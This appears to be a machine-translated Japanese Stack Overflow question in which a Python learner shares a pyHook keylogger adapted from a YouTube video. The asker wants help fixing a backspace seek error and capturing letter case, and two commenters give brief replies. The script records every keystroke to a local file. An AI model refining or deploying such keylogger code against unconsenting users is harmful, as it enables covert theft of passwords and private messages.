現在、私はPythonを学んでいるので、簡単なPython Keyloggerを構築する方法を示すYouTubeで興味深いビデオを見つけました。私はそれを少し変更し、ユーザーがbackspaceを押したときに最後の文字を削除できるようにしたので、if文にseekメソッドとtruncateメソッドを追加しました。バックスペースキー(Python)を押したときにKeyloggerがエラーを投げる
import pyHook, pythoncom, os
file_log = "D:/Python Projects/log.txt"
def OnKeyboardEvent(event):
global keylog
keylog = chr(event.Ascii)
with open(file_log, "a") as fl:
if event.Ascii == 13:
fl.write("\n")
elif event.Ascii == 8:
fl.seek(-1, os.SEEK_END)
fl.truncate()
else:
fl.write(keylog)
fl.close()
return True
hooking = pyHook.HookManager()
hooking.KeyDown = OnKeyboardEvent
hooking.HookKeyboard()
pythoncom.PumpMessages()
は、しかし、私は、コードを実行しようとするとバックスペースキーは、私は次のエラーを取得する押したとき:
はio.UnsupportedOperation: can't do nonzero end-relative seeks
だから、誰もがこれで私を助けることができますか? また、キーロガーはすべての文字を大文字で保存します。文字が下位文字か上位文字かを認識し、そのように保存するためにスクリプトを変更する方法はありますか?
[この他の質問](https://stackoverflow.com/questions/21533391/seeking-from-end-of-file-throwing-unsupported-exception)に記載されている問題が発生しているようです。 –
あなたは 'keylog'変数をグローバルにするべきではありません。これには理由はありません。 – blubberdiblub